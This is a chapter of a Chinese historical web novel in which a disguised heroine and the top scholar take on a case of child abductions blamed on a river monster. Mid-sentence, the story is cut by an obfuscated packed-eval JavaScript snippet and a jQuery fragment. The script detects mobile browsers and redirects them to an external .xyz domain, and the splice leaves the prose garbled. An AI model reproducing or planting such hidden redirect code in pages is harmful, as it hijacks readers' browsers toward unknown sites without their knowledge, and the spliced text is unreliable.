忠义侯府
花厅檐角下，幼鸟嗷嗷待哺，宽敞的巢穴沿边，此时落脚一只雌燕。
花厅膳桌旁，元青争端坐着，杨如晦饭毕漱过口，轻声道：“季春风大，再加一根禁步吧。”
元青争前几日被捕入狱，杨如晦在外四处求人，银子流水般的洒，最后还是求到了褚太尉那里，二人才于昨晚被放出来，但身上的污水并没有被洗清。
两方现在的对峙，属于我证明不了你是水怪，但同样的，你也没法证明，自己不是水怪。
褚太尉的意思，若元青争无法自证清白，那她此次文试就白考了，且这辈子能不能再进文试场也未可知，谁让她大晚上不睡觉，跑去河边。
但褚太尉说到底，也只是在元青争亲爹手下做过副官，如今已算得上仁至义尽，他让刑案司给了三日为限自证。
元青争昨晚刚从狱中出来，今日，是第一日，也是新登科学子们要进行定官考试之日，她还得去耗上半日。
杨如晦音落，旁侧一位端着松木盒子的侍女便走上前来，削葱般的手指掀开盒盖，里面静躺着枚蓝玉翠竹禁步。
蓝玉流世不多，但不算名贵，因为质地实在一般，落籽上前接过，将其系在元青争腰间。
她一身缥碧色交领常服裁剪得体，月白色发带上绣的是君子兰，通身不显华贵，任谁也挑不出错。
“哎呀，什么时候才能到下辈子啊～”杨如晦起身走人，她今日还要巡铺子，没再去管元青争，任她自己面对难题。
侯府现在于平京立足的东西是钱，她得为之继续努力，至于侯府能不能有个讲话略有效力的侯爷，不再被人看轻，那就得看她“儿子”的了。
“你说，那盛状元会同我一起定官刑案司吗？”元青争沉着迈出门槛，于廊下站定。
落籽悄悄贴近她身后：“他倒是想。”
庭院里和风正扬起柳絮恣意起舞，朦朦胧胧间，元青争惊觉两侧花坛里隆冬不败的蝴蝶兰，已被换成了各色海棠。
她将手搭在眉弓处，眼底是化不开的沉重：“好一个春！”
“公子，马车上你最喜欢的云雾高山毛峰，我已沏好了。”落籽嗓音温润，整个人与她靠得极近。
“好落籽，走。”
元青争说罢迈下台阶，没走侧廊，走的天井，整个人酣畅地沐浴在阳光下，仿佛什么挑战也不畏惧。
尚未解瘾，那道温热体温便再次远去，落籽神情滞涩一瞬，继而提腿再次跟上。
他注视着元青争如瀑如墨的青丝，因风飘扬的发带……克制地攥紧了拳，心脏好似刚刚停止竭力的奔跑，此刻又被藤蔓紧紧缠绕。
他想带他家公子去南樾，至少在那里，他有把握让他家公子，不再受欺。
考试处分为内堂和外堂，内堂见考官，外堂候消息，从最后一名开考，这会儿盛舒宇从内堂出来，也就意味着定官考试的结束。
他步子迈得从容，于元青争身旁站定：“小侯爷有字没有？在下表字复光，日后同朝为官，还望莫要相轻。”
“无字，复光兄喊我青争就好。”
“好～”盛舒宇一副对她很感兴趣的样子，“对了，护城河一别，青争还没有回答我的问题呢？”
那晚元青争入狱后思绪翻飞，她前十年的确常住太行武极巅，还果真从尘封的幼时记忆里，抠出了个天天苦大仇深的小孩。
但两人的交情，近乎没有：“印象里，复光兄是要更木讷些的，没想到如今竟登上了我辈学识榜首，让人刮目相看。”
昨晚她还跟杨如晦提起了这个事儿，彼时杨如晦居然跟她讲，要与这位状元郎搞好关系，最好把人请到家里住，对此元青争一笑置之。
毕竟她都自身难保了，还拉拢什么门生。
盛舒宇摆手道：“苦读而已，以你我的交情，便不要一些虚言了，青争可知，武极巅少主会来参加本届武试？”
“知道的，他同我传了一封信。”
此时几位监考官从内堂出来宣读定官结果——
他二人都被分到了刑部，刑案司，品级八品，官号知事，授绿缎广袖官服、单玉皮制腰带，素乌纱冠帽一顶。
元青争侧首，心道这盛复光有点手腕，但这案子，她势在必得。
这下两人可要结伴而行了，于是落籽驾着马车，除了拉着自家公子，还拉了一个状元郎，双唇抿得又平又直。
进到刑案司大院，两人领过腰牌后，马不停蹄的向刑案司司伯魏庄河提出，都要接“护城河怪”一案。
魏司伯看着元青争，思虑半晌，最后抻了抻衣袖：“都去文书局，找了卷宗看看吧。”
“是。”二人行过官礼，缓步往文书局行去，可这会儿，他们居然谁也不急。
既然两人共同查办此案，那有些事，就不能再采用之前的想法了。
元青争需要在三日之内自证清白，但她只是去了河边一趟而已，本就被诬，何为自证？
只有破案这一条路走。
她准备借一借这位状元郎的力，斟酌开口：“复光兄，那日所见之物，并非我们要找的水怪，那怪物是能站立的。”
“……”
“……”
两人视线交汇。
“我知道。”盛舒宇唇角的笑意若有似无，没说其余的话，毕竟若今时今日，两人身份互置，他也会想独揽政绩的。
二人所谓的幼时情谊，他也知道着实淡薄，那晚算得上长大后初见，既是初见，又凭什么要求对方需事事与自己交底？
初见就把自己心中的成算、手里有的牌，全都交出去的，那是傻子。
元青争也明白这层意思，接了他这个好，和和气气道：“来日方长，你我二人共入刑案司，以后只怕少不了互相依仗。”
她站定，眸色认真：“此后我愿与复光兄坦诚相待，信息对等，互通有无。”
其实若今日盛舒宇非要与她计较一番这“站立”之事，她也是愿意道歉的，但以后绝不会深交。
毕竟世上聪明人那么多，不差一个书呆子。
盛舒宇盯着
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15866569|176162||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她的双眸，面容忽然攀上笑意，他要的，可不仅仅是坦诚相待，他要的，是忠诚：“兄弟齐心，其利断金。”
他们向文书局七品员外高志讨要来卷宗，看过后，通篇只有最新的一条还有些用：昨夜再失幼童。
去到马厩，二人各将一件匕首藏于靴内，挑了两匹顺眼的马，再次出发护城河。
上次是在河的内侧探寻，此次自然要探查河的外沿。
元青争牵着马，循着河沿走得缓慢：“不是那水中生物伤人，既能站立，搞不好是人为。”
盛舒宇行在她身后，附和：“两月有余，伤害了将近二十个孩童，频率虽高，但我们人力不足，用不了守株待兔的办法。”
“岸边忽立，拖孩童入水。可以断绝恶人牙子的可能，毕竟孩子在此过程中，极有可能受到不可逆的损伤，卖不到好价钱。”
“也不会是强盗贼人，不然要赎金的字条早该送到孩子家中去了。”
“所以，贼人杀孩子的动机到底是什么？”元青争这会儿就像个丈二和尚。
突然，她发现了什么：“复光你来！”
河沿是一些类似拖拽的痕迹，十分杂乱，寥寥几个脚印，大致能辨出是背离平京的方向。
盛舒宇脑子转的飞快，问道：“青争可知，这远离平京的方向有什么建筑吗？只怕孩子们并非死在这水中。”
“不错，我们一直以为孩子失踪在水边，理所当然的就以为孩子死在了河里，只是打捞不上尸体而已，但其实贼人早已带着孩子去往他处，保不齐还活着！”
盛舒宇对这平京附近实在算不上有多熟悉，只好寄希望于元青争能够想到什么：“既然总是掳走平京的孩子，那他们的藏身之处，必然远不了。”
“容我想想……”元青争眯起眸子远眺，隐在袖中的手指互相捻了捻，半晌，镇定道，“郊外，有一个三清观！”
二人不做停留，翻身上马疾驰，衣角被风吹得猎猎作响，如同两发离弦的箭，不消片刻，已能远远瞧见观门。
“距离平京近便些的建筑，稍稍大些的，只有这里了。”元青争将马拴在观外大约三百步，这一片树林稀疏，好在草地繁盛。
盛舒宇瞧着这破败的道观，心里没来由的不舒坦，沉声道：“藏好匕首，必要时躲在我身后。”
“复光兄不用这样如临大敌，我们只是探查，又不多做什么，”元青争觉得他有些小题大做，拍了拍袖中的荷包，笑道，“只要身上有银子，不愁观主不接待。”
“话虽如此……”盛舒宇心里就是不舒坦，“我们进去吧。”
这观香火稀少，远不如平京城内的道观寺庙。
已值春末，整个前院除了寥寥几棵常青树，就剩下一株桃花，树干瞧着粗壮，枝桠却无多少生气。
元青争撇下盛舒宇走到桃树近前，观得有人专门用方石圈出了一块极大的地面用来保护桃树，不使人近。
她绕着石圈来回打转，也没瞧出这桃树为何开得这样破败，间歇抬眸间，是更加破败的院墙。